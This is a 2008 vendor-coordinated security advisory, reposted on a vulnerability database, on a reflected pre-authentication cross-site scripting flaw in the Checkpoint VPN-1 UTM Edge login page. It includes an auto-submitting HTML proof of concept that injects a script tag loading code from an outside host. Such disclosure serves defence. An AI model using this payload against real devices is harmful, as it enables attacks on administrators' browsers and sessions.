Lucene search

checkpoint_080306.txt

🗓️ 12 Mar 2008 00:00:00Reported by Henri LindbergType

packetstorm🔗 packetstormsecurity.com👁 31 Views

Checkpoint VPN-1 UTM Edge cross-site scripting vulnerability in version 7.0.48x

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

` Louhi Networks  
Security Advisory  
  
  
Advisory: Checkpoint VPN-1 UTM Edge cross-site scripting  
Release Date: 2008/03/06  
Last Modified: 2008/03/06  
Authors: Henri Lindberg, Associate of (ISC)²  
[[email protected]]  
  
Application: Checkpoint VPN-1 Edge W Embedded NGX 7.0.48x  
(patched in version 7.5.48)  
Devices: Checkpoint VPN-1 UTM Edge  
Attack type: Cross site scripting (non-persistent)  
Risk: Low  
Vendor Status: Vendor has released an updated version  
References: http://www.louhi.fi/advisory/checkpoint_080306.txt  
  
  
Overview:  
  
Quote from http://www.checkpoint.com/  
"VPN-1 UTM Edge appliances deliver unified threat management to  
enterprises with branch offices and simplify security deployments  
and manageability. VPN-1 UTM Edge appliances consolidate proven  
enterprise-class technology into a single branch office solution  
that does not compromise the corporate network and eliminates the  
branch office as your weakest link. As part of Check Point's Unified  
Security Architecture, VPN-1 UTM Edge can enforce a global security  
policy and allows administrators to manage and update thousands of  
appliances as easily as managing one."  
  
Insufficient input validation and output encoding on the login page  
allows attacker to perform html-injection by posting suitable string  
to the login form handler. The injection leads to reflected  
pre-authentication cross site scripting.  
  
  
Details:  
Form based authentication is used only when device is accessed using  
HTTP. Authentication over HTTPS uses HTTP basic authentication.  
  
The device does not accept the parameters in a GET request, POST  
request has to be used instead - exploiting the XSS vulnerability  
requires therefore a bit more effort compared to ordinary GET based  
reflected cross site scripting vulnerability.  
  
The current version can be checked from  
http://xxx.xxx.xxx.xxx/pub/test.html where xxx.xxx.xxx.xxx is LAN IP  
address of the device. The page also displays current product key.  
  
Vendor response:  
  
"Once users register the appliance and connect to the service center  
(Safe@Office appliances), the latest firmware is automatically  
downloaded to their appliance. For UTM-1 Edge appliances, the latest  
firmware version can be downloaded from the Check Point download  
center. Currently, this is version 7.5.48 that does not contain the  
reported issue. We believe that customers are not exposed to this  
issue."  
  
Proof of Concept:  
  
<html>  
<body onload="document.f.submit()">  
<form name="f" method="post" action="http://192.168.10.1"  
style="display:none">  
  
<input name="user" value="'<script/src=//l7.fi></script>">  
  
</form>  
</body>  
</html>  
  
  
  
Solution:  
  
Update to version 7.5.48  
  
  
Disclosure Timeline:  
  
19. February 2008 - Contacted Checkpoint by email  
20. February 2008 - Vendor response.  
6. March 2008 - Advisory was released  
  
Copyright 2008 Louhi Networks Oy. All rights reserved.  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

12 Mar 2008 00:00Current

7.4High risk

Vulners AI Score7.4